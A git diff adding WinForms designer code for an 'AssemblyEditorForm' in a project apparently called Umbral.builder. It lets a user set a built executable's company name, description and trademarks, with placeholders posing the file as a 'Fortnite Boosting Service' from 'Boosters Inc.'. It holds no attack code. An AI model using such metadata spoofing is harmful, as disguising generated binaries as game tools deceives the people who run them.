this.bunifuLabel3.TextFormat = Bunifu.UI.WinForms.BunifuLabel.TextFormattingOptions.Default; + // + // txtFileDescription + // + this.txtFileDescription.AcceptsReturn = false; + this.txtFileDescription.AcceptsTab = false; + this.txtFileDescription.AnimationSpeed = 200; + this.txtFileDescription.AutoCompleteMode = System.Windows.Forms.AutoCompleteMode.None; + this.txtFileDescription.AutoCompleteSource = System.Windows.Forms.AutoCompleteSource.None; + this.txtFileDescription.BackColor = System.Drawing.Color.White; + this.txtFileDescription.BackgroundImage = ((System.Drawing.Image)(resources.GetObject("txtFileDescription.BackgroundImage"))); + this.txtFileDescription.BorderColorActive = System.Drawing.Color.Transparent; + this.txtFileDescription.BorderColorDisabled = System.Drawing.Color.FromArgb(((int)(((byte)(204)))), ((int)(((byte)(204)))), ((int)(((byte)(204))))); + this.txtFileDescription.BorderColorHover = System.Drawing.Color.Transparent; + this.txtFileDescription.BorderColorIdle = System.Drawing.Color.Silver; + this.txtFileDescription.BorderRadius = 1; + this.txtFileDescription.BorderThickness = 1; + this.txtFileDescription.CharacterCasing = System.Windows.Forms.CharacterCasing.Normal; + this.txtFileDescription.Cursor = System.Windows.Forms.Cursors.IBeam; + this.txtFileDescription.DefaultFont = new System.Drawing.Font("Segoe UI", 9.75F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.txtFileDescription.DefaultText = ""; + this.txtFileDescription.FillColor = System.Drawing.Color.Black; + this.txtFileDescription.ForeColor = System.Drawing.Color.White; + this.txtFileDescription.HideSelection = true; + this.txtFileDescription.IconLeft = null; + this.txtFileDescription.IconLeftCursor = System.Windows.Forms.Cursors.IBeam; + this.txtFileDescription.IconPadding = 10; + this.txtFileDescription.IconRight = null; + this.txtFileDescription.IconRightCursor = System.Windows.Forms.Cursors.IBeam; + this.txtFileDescription.Lines = new string[0]; + this.txtFileDescription.Location = new System.Drawing.Point(124, 49); + this.txtFileDescription.MaxLength = 32767; + this.txtFileDescription.MinimumSize = new System.Drawing.Size(1, 1); + this.txtFileDescription.Modified = false; + this.txtFileDescription.Multiline = false; + this.txtFileDescription.Name = "txtFileDescription"; + stateProperties17.BorderColor = System.Drawing.Color.Transparent; + stateProperties17.FillColor = System.Drawing.Color.Empty; + stateProperties17.ForeColor = System.Drawing.Color.Empty; + stateProperties17.PlaceholderForeColor = System.Drawing.Color.Empty; + this.txtFileDescription.OnActiveState = stateProperties17; + stateProperties18.BorderColor = System.Drawing.Color.Silver; + stateProperties18.FillColor = System.Drawing.Color.Black; + stateProperties18.ForeColor = System.Drawing.Color.Transparent; + stateProperties18.PlaceholderForeColor = System.Drawing.Color.Gray; + this.txtFileDescription.OnDisabledState = stateProperties18; + stateProperties19.BorderColor = System.Drawing.Color.Transparent; + stateProperties19.FillColor = System.Drawing.Color.Empty; + stateProperties19.ForeColor = System.Drawing.Color.Empty; + stateProperties19.PlaceholderForeColor = System.Drawing.Color.Empty; + this.txtFileDescription.OnHoverState = stateProperties19; + stateProperties20.BorderColor = System.Drawing.Color.Silver; + stateProperties20.FillColor = System.Drawing.Color.Black; + stateProperties20.ForeColor = System.Drawing.Color.White; + stateProperties20.PlaceholderForeColor = System.Drawing.Color.Empty; + this.txtFileDescription.OnIdleState = stateProperties20; + this.txtFileDescription.Padding = new System.Windows.Forms.Padding(3); + this.txtFileDescription.PasswordChar = '\0'; + this.txtFileDescription.PlaceholderForeColor = System.Drawing.Color.Gray; + this.txtFileDescription.PlaceholderText = "e.g. Fortnite Boosting Service"; + this.txtFileDescription.ReadOnly = false; + this.txtFileDescription.ScrollBars = System.Windows.Forms.ScrollBars.None; + this.txtFileDescription.SelectedText = ""; + this.txtFileDescription.SelectionLength = 0; + this.txtFileDescription.SelectionStart = 0; + this.txtFileDescription.ShortcutsEnabled = true; + this.txtFileDescription.Size = new System.Drawing.Size(648, 24); + this.txtFileDescription.Style = Bunifu.UI.WinForms.BunifuTextBox._Style.Bunifu; + this.txtFileDescription.TabIndex = 17; + this.txtFileDescription.TextAlign = System.Windows.Forms.HorizontalAlignment.Left; + this.txtFileDescription.TextMarginBottom = 0; + this.txtFileDescription.TextMarginLeft = 3; + this.txtFileDescription.TextMarginTop = 0; + this.txtFileDescription.TextPlaceholder = "e.g. Fortnite Boosting Service"; + this.txtFileDescription.UseSystemPasswordChar = false; + this.txtFileDescription.WordWrap = true; + // + // btnCancel + // + this.btnCancel.AllowAnimations = true; + this.btnCancel.AllowMouseEffects = true; + this.btnCancel.AllowToggling = false; + this.btnCancel.AnimationSpeed = 200; + this.btnCancel.AutoGenerateColors = false; + this.btnCancel.AutoRoundBorders = false; + this.btnCancel.AutoSizeLeftIcon = true; + this.btnCancel.AutoSizeRightIcon = true; + this.btnCancel.BackColor = System.Drawing.Color.Transparent; + this.btnCancel.BackColor1 = System.Drawing.Color.Transparent; + this.btnCancel.BackgroundImage = ((System.Drawing.Image)(resources.GetObject("btnCancel.BackgroundImage"))); + this.btnCancel.BorderStyle = Bunifu.UI.WinForms.BunifuButton.BunifuButton.BorderStyles.Solid; + this.btnCancel.ButtonText = "Cancel"; + this.btnCancel.ButtonTextMarginLeft = 0; + this.btnCancel.ColorContrastOnClick = 45; + this.btnCancel.ColorContrastOnHover = 45; + this.btnCancel.Cursor = System.Windows.Forms.Cursors.Default; + borderEdges1.BottomLeft = true; + borderEdges1.BottomRight = true; + borderEdges1.TopLeft = true; + borderEdges1.TopRight = true; + this.btnCancel.CustomizableEdges = borderEdges1; + this.btnCancel.DialogResult = System.Windows.Forms.DialogResult.None; + this.btnCancel.DisabledBorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(191)))), ((int)(((byte)(191)))), ((int)(((byte)(191))))); + this.btnCancel.DisabledFillColor = System.Drawing.Color.FromArgb(((int)(((byte)(204)))), ((int)(((byte)(204)))), ((int)(((byte)(204))))); + this.btnCancel.DisabledForecolor = System.Drawing.Color.FromArgb(((int)(((byte)(168)))), ((int)(((byte)(160)))), ((int)(((byte)(168))))); + this.btnCancel.FocusState = Bunifu.UI.WinForms.BunifuButton.BunifuButton.ButtonStates.Idle; + this.btnCancel.Font = new System.Drawing.Font("Segoe UI", 9F); + this.btnCancel.ForeColor = System.Drawing.Color.White; + this.btnCancel.IconLeftAlign = System.Drawing.ContentAlignment.MiddleLeft; + this.btnCancel.IconLeftCursor = System.Windows.Forms.Cursors.Default; + this.btnCancel.IconLeftPadding = new System.Windows.Forms.Padding(11, 3, 3, 3); + this.btnCancel.IconMarginLeft = 11; + this.btnCancel.IconPadding = 10; + this.btnCancel.IconRightAlign = System.Drawing.ContentAlignment.MiddleRight; + this.btnCancel.IconRightCursor = System.Windows.Forms.Cursors.Default; + this.btnCancel.IconRightPadding = new System.Windows.Forms.Padding(3, 3, 7, 3); + this.btnCancel.IconSize = 25; + this.btnCancel.IdleBorderColor = System.Drawing.Color.White; + this.btnCancel.IdleBorderRadius = 1; + this.btnCancel.IdleBorderThickness = 1; + this.btnCancel.IdleFillColor = System.Drawing.Color.Transparent; + this.btnCancel.IdleIconLeftImage = null; + this.btnCancel.IdleIconRightImage = null; + this.btnCancel.IndicateFocus = false; + this.btnCancel.Location = new System.Drawing.Point(664, 269); + this.btnCancel.Name = "btnCancel"; + this.btnCancel.OnDisabledState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(191)))), ((int)(((byte)(191)))), ((int)(((byte)(191))))); + this.btnCancel.OnDisabledState.BorderRadius = 1; + this.btnCancel.OnDisabledState.BorderStyle = Bunifu.UI.WinForms.BunifuButton.BunifuButton.BorderStyles.Solid; + this.btnCancel.OnDisabledState.BorderThickness = 1; + this.btnCancel.OnDisabledState.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(204)))), ((int)(((byte)(204)))), ((int)(((byte)(204))))); + this.btnCancel.OnDisabledState.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(168)))), ((int)(((byte)(160)))), ((int)(((byte)(168))))); + this.btnCancel.OnDisabledState.IconLeftImage = null; + this.btnCancel.OnDisabledState.IconRightImage = null; + this.btnCancel.onHoverState.BorderColor = System.Drawing.Color.White; + this.btnCancel.onHoverState.BorderRadius = 1; + this.btnCancel.onHoverState.BorderStyle = Bunifu.UI.WinForms.BunifuButton.BunifuButton.BorderStyles.Solid; + this.btnCancel.onHoverState.BorderThickness = 1; + this.btnCancel.onHoverState.FillColor = System.Drawing.Color.Gray; + this.btnCancel.onHoverState.ForeColor = System.Drawing.Color.Transparent; + this.btnCancel.onHoverState.IconLeftImage = null; + this.btnCancel.onHoverState.IconRightImage = null; + this.btnCancel.OnIdleState.BorderColor = System.Drawing.Color.White; + this.btnCancel.OnIdleState.BorderRadius = 1; + this.btnCancel.OnIdleState.BorderStyle = Bunifu.UI.WinForms.BunifuButton.BunifuButton.BorderStyles.Solid; + this.btnCancel.OnIdleState.BorderThickness = 1; + this.btnCancel.OnIdleState.FillColor = System.Drawing.Color.Transparent; + this.btnCancel.OnIdleState.ForeColor = System.Drawing.Color.White; + this.btnCancel.OnIdleState.IconLeftImage = null; + this.btnCancel.OnIdleState.IconRightImage = null; + this.btnCancel.OnPressedState.BorderColor = System.Drawing.Color.White; + this.btnCancel.OnPressedState.BorderRadius = 1; + this.btnCancel.OnPressedState.BorderStyle = Bunifu.UI.WinForms.BunifuButton.BunifuButton.BorderStyles.Solid; + this.btnCancel.OnPressedState.BorderThickness = 1; + this.btnCancel.OnPressedState.FillColor = System.Drawing.Color.Gray; + this.btnCancel.OnPressedState.ForeColor = System.Drawing.Color.Transparent; + this.btnCancel.OnPressedState.IconLeftImage = null; + this.btnCancel.OnPressedState.IconRightImage = null; + this.btnCancel.Size = new System.Drawing.Size(63, 32); + this.btnCancel.TabIndex = 11; + this.btnCancel.TabStop = false; + this.btnCancel.Tag = "NoIcon"; + this.btnCancel.TextAlign = System.Drawing.ContentAlignment.MiddleCenter; + this.btnCancel.TextAlignment = System.Windows.Forms.HorizontalAlignment.Center; + this.btnCancel.TextMarginLeft = 0; + this.btnCancel.TextPadding = new System.Windows.Forms.Padding(0); + this.btnCancel.UseDefaultRadiusAndThickness = true; + this.btnCancel.Click += new System.EventHandler(this.btnCancel_Click); + // + // bunifuLabel6 + // + this.bunifuLabel6.AllowParentOverrides = false; + this.bunifuLabel6.AutoEllipsis = false; + this.bunifuLabel6.Cursor = System.Windows.Forms.Cursors.Default; + this.bunifuLabel6.CursorType = System.Windows.Forms.Cursors.Default; + this.bunifuLabel6.Font = new System.Drawing.Font("Segoe UI", 9.75F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.bunifuLabel6.ForeColor = System.Drawing.Color.White; + this.bunifuLabel6.Location = new System.Drawing.Point(9, 156); + this.bunifuLabel6.Name = "bunifuLabel6"; + this.bunifuLabel6.RightToLeft = System.Windows.Forms.RightToLeft.No; + this.bunifuLabel6.Size = new System.Drawing.Size(107, 17); + this.bunifuLabel6.TabIndex = 14; + this.bunifuLabel6.Text = "Legal Trademarks:"; + this.bunifuLabel6.TextAlignment = System.Drawing.ContentAlignment.TopLeft; + this.bunifuLabel6.TextFormat = Bunifu.UI.WinForms.BunifuLabel.TextFormattingOptions.Default; + // + // btnOk + // + this.btnOk.AllowAnimations = true; + this.btnOk.AllowMouseEffects = true; + this.btnOk.AllowToggling = false; + this.btnOk.AnimationSpeed = 200; + this.btnOk.AutoGenerateColors = false; + this.btnOk.AutoRoundBorders = false; + this.btnOk.AutoSizeLeftIcon = true; + this.btnOk.AutoSizeRightIcon = true; + this.btnOk.BackColor = System.Drawing.Color.Transparent; + this.btnOk.BackColor1 = System.Drawing.Color.Transparent; + this.btnOk.BackgroundImage = ((System.Drawing.Image)(resources.GetObject("btnOk.BackgroundImage"))); + this.btnOk.BorderStyle = Bunifu.UI.WinForms.BunifuButton.BunifuButton.BorderStyles.Solid; + this.btnOk.ButtonText = "Ok"; + this.btnOk.ButtonTextMarginLeft = 0; + this.btnOk.ColorContrastOnClick = 45; + this.btnOk.ColorContrastOnHover = 45; + this.btnOk.Cursor = System.Windows.Forms.Cursors.Default; + borderEdges2.BottomLeft = true; + borderEdges2.BottomRight = true; + borderEdges2.TopLeft = true; + borderEdges2.TopRight = true; + this.btnOk.CustomizableEdges = borderEdges2; + this.btnOk.DialogResult = System.Windows.Forms.DialogResult.None; + this.btnOk.DisabledBorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(191)))), ((int)(((byte)(191)))), ((int)(((byte)(191))))); + this.btnOk.DisabledFillColor = System.Drawing.Color.FromArgb(((int)(((byte)(204)))), ((int)(((byte)(204)))), ((int)(((byte)(204))))); + this.btnOk.DisabledForecolor = System.Drawing.Color.FromArgb(((int)(((byte)(168)))), ((int)(((byte)(160)))), ((int)(((byte)(168))))); + this.btnOk.FocusState = Bunifu.UI.WinForms.BunifuButton.BunifuButton.ButtonStates.Idle; + this.btnOk.Font = new System.Drawing.Font("Segoe UI", 9F); + this.btnOk.ForeColor = System.Drawing.Color.White; + this.btnOk.IconLeftAlign = System.Drawing.ContentAlignment.MiddleLeft; + this.btnOk.IconLeftCursor = System.Windows.Forms.Cursors.Default; + this.btnOk.IconLeftPadding = new System.Windows.Forms.Padding(11, 3, 3, 3); + this.btnOk.IconMarginLeft = 11; + this.btnOk.IconPadding = 10; + this.btnOk.IconRightAlign = System.Drawing.ContentAlignment.MiddleRight; + this.btnOk.IconRightCursor = System.Windows.Forms.Cursors.Default; + this.btnOk.IconRightPadding = new System.Windows.Forms.Padding(3, 3, 7, 3); + this.btnOk.IconSize = 25; + this.btnOk.IdleBorderColor = System.Drawing.Color.White; + this.btnOk.IdleBorderRadius = 1; + this.btnOk.IdleBorderThickness = 1; + this.btnOk.IdleFillColor = System.Drawing.Color.Transparent; + this.btnOk.IdleIconLeftImage = null; + this.btnOk.IdleIconRightImage = null; + this.btnOk.IndicateFocus = false; + this.btnOk.Location = new System.Drawing.Point(733, 269); + this.btnOk.Name = "btnOk"; + this.btnOk.OnDisabledState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(191)))), ((int)(((byte)(191)))), ((int)(((byte)(191))))); + this.btnOk.OnDisabledState.BorderRadius = 1; + this.btnOk.OnDisabledState.BorderStyle = Bunifu.UI.WinForms.BunifuButton.BunifuButton.BorderStyles.Solid; + this.btnOk.OnDisabledState.BorderThickness = 1; + this.btnOk.OnDisabledState.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(204)))), ((int)(((byte)(204)))), ((int)(((byte)(204))))); + this.btnOk.OnDisabledState.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(168)))), ((int)(((byte)(160)))), ((int)(((byte)(168))))); + this.btnOk.OnDisabledState.IconLeftImage = null; + this.btnOk.OnDisabledState.IconRightImage = null; + this.btnOk.onHoverState.BorderColor = System.Drawing.Color.White; + this.btnOk.onHoverState.BorderRadius = 1; + this.btnOk.onHoverState.BorderStyle = Bunifu.UI.WinForms.BunifuButton.BunifuButton.BorderStyles.Solid; + this.btnOk.onHoverState.BorderThickness = 1; + this.btnOk.onHoverState.FillColor = System.Drawing.Color.Gray; + this.btnOk.onHoverState.ForeColor = System.Drawing.Color.Transparent; + this.btnOk.onHoverState.IconLeftImage = null; + this.btnOk.onHoverState.IconRightImage = null; + this.btnOk.OnIdleState.BorderColor = System.Drawing.Color.White; + this.btnOk.OnIdleState.BorderRadius = 1; + this.btnOk.OnIdleState.BorderStyle = Bunifu.UI.WinForms.BunifuButton.BunifuButton.BorderStyles.Solid; + this.btnOk.OnIdleState.BorderThickness = 1; + this.btnOk.OnIdleState.FillColor = System.Drawing.Color.Transparent; + this.btnOk.OnIdleState.ForeColor = System.Drawing.Color.White; + this.btnOk.OnIdleState.IconLeftImage = null; + this.btnOk.OnIdleState.IconRightImage = null; + this.btnOk.OnPressedState.BorderColor = System.Drawing.Color.White; + this.btnOk.OnPressedState.BorderRadius = 1; + this.btnOk.OnPressedState.BorderStyle = Bunifu.UI.WinForms.BunifuButton.BunifuButton.BorderStyles.Solid; + this.btnOk.OnPressedState.BorderThickness = 1; + this.btnOk.OnPressedState.FillColor = System.Drawing.Color.Gray; + this.btnOk.OnPressedState.ForeColor = System.Drawing.Color.Transparent; + this.btnOk.OnPressedState.IconLeftImage = null; + this.btnOk.OnPressedState.IconRightImage = null; + this.btnOk.Size = new System.Drawing.Size(39, 32); + this.btnOk.TabIndex = 12; + this.btnOk.TabStop = false; + this.btnOk.Tag = "NoIcon"; + this.btnOk.TextAlign = System.Drawing.ContentAlignment.MiddleCenter; + this.btnOk.TextAlignment = System.Windows.Forms.HorizontalAlignment.Center; + this.btnOk.TextMarginLeft = 0; + this.btnOk.TextPadding = new System.Windows.Forms.Padding(0); + this.btnOk.UseDefaultRadiusAndThickness = true; + this.btnOk.Click += new System.EventHandler(this.btnOk_Click); + // + // txtLegalTrademarks + // + this.txtLegalTrademarks.AcceptsReturn = false; + this.txtLegalTrademarks.AcceptsTab = false; + this.txtLegalTrademarks.AnimationSpeed = 200; + this.txtLegalTrademarks.AutoCompleteMode = System.Windows.Forms.AutoCompleteMode.None; + this.txtLegalTrademarks.AutoCompleteSource = System.Windows.Forms.AutoCompleteSource.None; + this.txtLegalTrademarks.BackColor = System.Drawing.Color.White; + this.txtLegalTrademarks.BackgroundImage = ((System.Drawing.Image)(resources.GetObject("txtLegalTrademarks.BackgroundImage"))); + this.txtLegalTrademarks.BorderColorActive = System.Drawing.Color.Transparent; + this.txtLegalTrademarks.BorderColorDisabled = System.Drawing.Color.FromArgb(((int)(((byte)(204)))), ((int)(((byte)(204)))), ((int)(((byte)(204))))); + this.txtLegalTrademarks.BorderColorHover = System.Drawing.Color.Transparent; + this.txtLegalTrademarks.BorderColorIdle = System.Drawing.Color.Silver; + this.txtLegalTrademarks.BorderRadius = 1; + this.txtLegalTrademarks.BorderThickness = 1; + this.txtLegalTrademarks.CharacterCasing = System.Windows.Forms.CharacterCasing.Normal; + this.txtLegalTrademarks.Cursor = System.Windows.Forms.Cursors.IBeam; + this.txtLegalTrademarks.DefaultFont = new System.Drawing.Font("Segoe UI", 9.75F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.txtLegalTrademarks.DefaultText = ""; + this.txtLegalTrademarks.FillColor = System.Drawing.Color.Black; + this.txtLegalTrademarks.ForeColor = System.Drawing.Color.White; + this.txtLegalTrademarks.HideSelection = true; + this.txtLegalTrademarks.IconLeft = null; + this.txtLegalTrademarks.IconLeftCursor = System.Windows.Forms.Cursors.IBeam; + this.txtLegalTrademarks.IconPadding = 10; + this.txtLegalTrademarks.IconRight = null; + this.txtLegalTrademarks.IconRightCursor = System.Windows.Forms.Cursors.IBeam; + this.txtLegalTrademarks.Lines = new string[0]; + this.txtLegalTrademarks.Location = new System.Drawing.Point(124, 153); + this.txtLegalTrademarks.MaxLength = 32767; + this.txtLegalTrademarks.MinimumSize = new System.Drawing.Size(1, 1); + this.txtLegalTrademarks.Modified = false; + this.txtLegalTrademarks.Multiline = false; + this.txtLegalTrademarks.Name = "txtLegalTrademarks"; + stateProperties21.BorderColor = System.Drawing.Color.Transparent; + stateProperties21.FillColor = System.Drawing.Color.Empty; + stateProperties21.ForeColor = System.Drawing.Color.Empty; + stateProperties21.PlaceholderForeColor = System.Drawing.Color.Empty; + this.txtLegalTrademarks.OnActiveState = stateProperties21; + stateProperties22.BorderColor = System.Drawing.Color.Silver; + stateProperties22.FillColor = System.Drawing.Color.Black; + stateProperties22.ForeColor = System.Drawing.Color.Transparent; + stateProperties22.PlaceholderForeColor = System.Drawing.Color.Gray; + this.txtLegalTrademarks.OnDisabledState = stateProperties22; + stateProperties23.BorderColor = System.Drawing.Color.Transparent; + stateProperties23.FillColor = System.Drawing.Color.Empty; + stateProperties23.ForeColor = System.Drawing.Color.Empty; + stateProperties23.PlaceholderForeColor = System.Drawing.Color.Empty; + this.txtLegalTrademarks.OnHoverState = stateProperties23; + stateProperties24.BorderColor = System.Drawing.Color.Silver; + stateProperties24.FillColor = System.Drawing.Color.Black; + stateProperties24.ForeColor = System.Drawing.Color.White; + stateProperties24.PlaceholderForeColor = System.Drawing.Color.Empty; + this.txtLegalTrademarks.OnIdleState = stateProperties24; + this.txtLegalTrademarks.Padding = new System.Windows.Forms.Padding(3); + this.txtLegalTrademarks.PasswordChar = '\0'; + this.txtLegalTrademarks.PlaceholderForeColor = System.Drawing.Color.Gray; + this.txtLegalTrademarks.PlaceholderText = "e.g. Fortnite is a trademark of Epic Games, Inc."; + this.txtLegalTrademarks.ReadOnly = false; + this.txtLegalTrademarks.ScrollBars = System.Windows.Forms.ScrollBars.None; + this.txtLegalTrademarks.SelectedText = ""; + this.txtLegalTrademarks.SelectionLength = 0; + this.txtLegalTrademarks.SelectionStart = 0; + this.txtLegalTrademarks.ShortcutsEnabled = true; + this.txtLegalTrademarks.Size = new System.Drawing.Size(648, 24); + this.txtLegalTrademarks.Style = Bunifu.UI.WinForms.BunifuTextBox._Style.Bunifu; + this.txtLegalTrademarks.TabIndex = 15; + this.txtLegalTrademarks.TextAlign = System.Windows.Forms.HorizontalAlignment.Left; + this.txtLegalTrademarks.TextMarginBottom = 0; + this.txtLegalTrademarks.TextMarginLeft = 3; + this.txtLegalTrademarks.TextMarginTop = 0; + this.txtLegalTrademarks.TextPlaceholder = "e.g. Fortnite is a trademark of Epic Games, Inc."; + this.txtLegalTrademarks.UseSystemPasswordChar = false; + this.txtLegalTrademarks.WordWrap = true; + // + // bunifuLabel2 + // + this.bunifuLabel2.AllowParentOverrides = false; + this.bunifuLabel2.AutoEllipsis = false; + this.bunifuLabel2.Cursor = System.Windows.Forms.Cursors.Default; + this.bunifuLabel2.CursorType = System.Windows.Forms.Cursors.Default; + this.bunifuLabel2.Font = new System.Drawing.Font("Segoe UI", 9.75F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.bunifuLabel2.ForeColor = System.Drawing.Color.White; + this.bunifuLabel2.Location = new System.Drawing.Point(9, 19); + this.bunifuLabel2.Name = "bunifuLabel2"; + this.bunifuLabel2.RightToLeft = System.Windows.Forms.RightToLeft.No; + this.bunifuLabel2.Size = new System.Drawing.Size(97, 17); + this.bunifuLabel2.TabIndex = 14; + this.bunifuLabel2.Text = "Company Name:"; + this.bunifuLabel2.TextAlignment = System.Drawing.ContentAlignment.TopLeft; + this.bunifuLabel2.TextFormat = Bunifu.UI.WinForms.BunifuLabel.TextFormattingOptions.Default; + // + // txtCompanyName + // + this.txtCompanyName.AcceptsReturn = false; + this.txtCompanyName.AcceptsTab = false; + this.txtCompanyName.AnimationSpeed = 200; + this.txtCompanyName.AutoCompleteMode = System.Windows.Forms.AutoCompleteMode.None; + this.txtCompanyName.AutoCompleteSource = System.Windows.Forms.AutoCompleteSource.None; + this.txtCompanyName.BackColor = System.Drawing.Color.White; + this.txtCompanyName.BackgroundImage = ((System.Drawing.Image)(resources.GetObject("txtCompanyName.BackgroundImage"))); + this.txtCompanyName.BorderColorActive = System.Drawing.Color.Transparent; + this.txtCompanyName.BorderColorDisabled = System.Drawing.Color.FromArgb(((int)(((byte)(204)))), ((int)(((byte)(204)))), ((int)(((byte)(204))))); + this.txtCompanyName.BorderColorHover = System.Drawing.Color.Transparent; + this.txtCompanyName.BorderColorIdle = System.Drawing.Color.Silver; + this.txtCompanyName.BorderRadius = 1; + this.txtCompanyName.BorderThickness = 1; + this.txtCompanyName.CharacterCasing = System.Windows.Forms.CharacterCasing.Normal; + this.txtCompanyName.Cursor = System.Windows.Forms.Cursors.IBeam; + this.txtCompanyName.DefaultFont = new System.Drawing.Font("Segoe UI", 9.75F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.txtCompanyName.DefaultText = ""; + this.txtCompanyName.FillColor = System.Drawing.Color.Black; + this.txtCompanyName.ForeColor = System.Drawing.Color.White; + this.txtCompanyName.HideSelection = true; + this.txtCompanyName.IconLeft = null; + this.txtCompanyName.IconLeftCursor = System.Windows.Forms.Cursors.IBeam; + this.txtCompanyName.IconPadding = 10; + this.txtCompanyName.IconRight = null; + this.txtCompanyName.IconRightCursor = System.Windows.Forms.Cursors.IBeam; + this.txtCompanyName.Lines = new string[0]; + this.txtCompanyName.Location = new System.Drawing.Point(124, 16); + this.txtCompanyName.MaxLength = 32767; + this.txtCompanyName.MinimumSize = new System.Drawing.Size(1, 1); + this.txtCompanyName.Modified = false; + this.txtCompanyName.Multiline = false; + this.txtCompanyName.Name = "txtCompanyName"; + stateProperties25.BorderColor = System.Drawing.Color.Transparent; + stateProperties25.FillColor = System.Drawing.Color.Empty; + stateProperties25.ForeColor = System.Drawing.Color.Empty; + stateProperties25.PlaceholderForeColor = System.Drawing.Color.Empty; + this.txtCompanyName.OnActiveState = stateProperties25; + stateProperties26.BorderColor = System.Drawing.Color.Silver; + stateProperties26.FillColor = System.Drawing.Color.Black; + stateProperties26.ForeColor = System.Drawing.Color.Transparent; + stateProperties26.PlaceholderForeColor = System.Drawing.Color.Gray; + this.txtCompanyName.OnDisabledState = stateProperties26; + stateProperties27.BorderColor = System.Drawing.Color.Transparent; + stateProperties27.FillColor = System.Drawing.Color.Empty; + stateProperties27.ForeColor = System.Drawing.Color.Empty; + stateProperties27.PlaceholderForeColor = System.Drawing.Color.Empty; + this.txtCompanyName.OnHoverState = stateProperties27; + stateProperties28.BorderColor = System.Drawing.Color.Silver; + stateProperties28.FillColor = System.Drawing.Color.Black; + stateProperties28.ForeColor = System.Drawing.Color.White; + stateProperties28.PlaceholderForeColor = System.Drawing.Color.Empty; + this.txtCompanyName.OnIdleState = stateProperties28; + this.txtCompanyName.Padding = new System.Windows.Forms.Padding(3); + this.txtCompanyName.PasswordChar = '\0'; + this.txtCompanyName.PlaceholderForeColor = System.Drawing.Color.Gray; + this.txtCompanyName.PlaceholderText = "e.g. Boosters Inc."; + this.txtCompanyName.ReadOnly = false; + this.txtCompanyName.ScrollBars = System.Windows.Forms.ScrollBars.None; + this.txtCompanyName.SelectedText = ""; + this.txtCompanyName.SelectionLength = 0; + this.txtCompanyName.SelectionStart = 0; + this.txtCompanyName.ShortcutsEnabled = true; + this.txtCompanyName.Size = new System.Drawing.Size(648, 24); + this.txtCompanyName.Style = Bunifu.UI.WinForms.BunifuTextBox._Style.Bunifu; + this.txtCompanyName.TabIndex = 15; + this.txtCompanyName.TextAlign = System.Windows.Forms.HorizontalAlignment.Left; + this.txtCompanyName.TextMarginBottom = 0; + this.txtCompanyName.TextMarginLeft = 3; + this.txtCompanyName.TextMarginTop = 0; + this.txtCompanyName.TextPlaceholder = "e.g. Boosters Inc."; + this.txtCompanyName.UseSystemPasswordChar = false; + this.txtCompanyName.WordWrap = true; + // + // AssemblyEditorForm + // + this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(53)))), ((int)(((byte)(74)))), ((int)(((byte)(166))))); + this.ClientSize = new System.Drawing.Size(800, 357); + this.Controls.Add(this.bunifuShadowPanel1); + this.Controls.Add(this.panel1); + this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.None; + this.Name = "AssemblyEditorForm"; + this.Padding = new System.Windows.Forms.Padding(2); + this.ShowIcon = false; + this.ShowInTaskbar = false; + this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen; + this.Text = "AssemblyEditor"; + this.Shown += new System.EventHandler(this.AssemblyEditorForm_Shown); + this.panel1.ResumeLayout(false); + this.panel1.PerformLayout(); + this.bunifuShadowPanel1.ResumeLayout(false); + this.bunifuShadowPanel1.PerformLayout(); + this.ResumeLayout(false); + + } + + #endregion + + private Bunifu.Framework.UI.BunifuElipse bunifuElipse1; + private System.Windows.Forms.Panel panel1; + private Bunifu.UI.WinForms.BunifuColorTransition bunifuColorTransition1; + private Bunifu.UI.WinForms.BunifuShadowPanel bunifuShadowPanel1; + private Bunifu.UI.WinForms.BunifuLabel bunifuLabel1; + private Bunifu.UI.WinForms.BunifuButton.BunifuButton btnCancel; + private Bunifu.UI.WinForms.BunifuButton.BunifuButton btnOk; + private Bunifu.UI.WinForms.BunifuLabel bunifuLabel2; + private Bunifu.UI.WinForms.BunifuTextBox txtCompanyName; + private Bunifu.UI.WinForms.BunifuLabel bunifuLabel9; + private Bunifu.UI.WinForms.BunifuTextBox txtInternalName; + private Bunifu.UI.WinForms.BunifuLabel bunifuLabel10; + private Bunifu.UI.WinForms.BunifuLabel bunifuLabel4; + private Bunifu.UI.WinForms.BunifuTextBox txtOriginalFilename; + private Bunifu.UI.WinForms.BunifuTextBox txtLegalCopyright; + private Bunifu.UI.WinForms.BunifuLabel bunifuLabel5; + private Bunifu.UI.WinForms.BunifuTextBox txtProductName; + private Bunifu.UI.WinForms.BunifuLabel bunifuLabel3; + private Bunifu.UI.WinForms.BunifuTextBox txtFileDescription; + private Bunifu.UI.WinForms.BunifuLabel bunifuLabel6; + private Bunifu.UI.WinForms.BunifuTextBox txtLegalTrademarks; + } +} \ No newline at end of file diff --git a/Umbral.builder/Components/Forms/AssemblyEditorForm.cs b/Umbral.builder/Components/Forms/AssemblyEditorForm.cs new file mode 100644 index 0000000..e1d2e64 --- /dev/null +++ b/Umbral.builder/Components/Forms/AssemblyEditorForm.cs @@ -0,0 +1,67 @@ +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Data; +using System.Drawing; +using System.IO; +using System.Linq; +using System.Runtime.InteropServices; +using System.Text; +using System.Threading.Tasks; +using System.Windows.Forms; +using Vestris.ResourceLib; + +namespace Umbral.builder.Components.Forms +{ + public partial class AssemblyEditorForm : Form + { + public 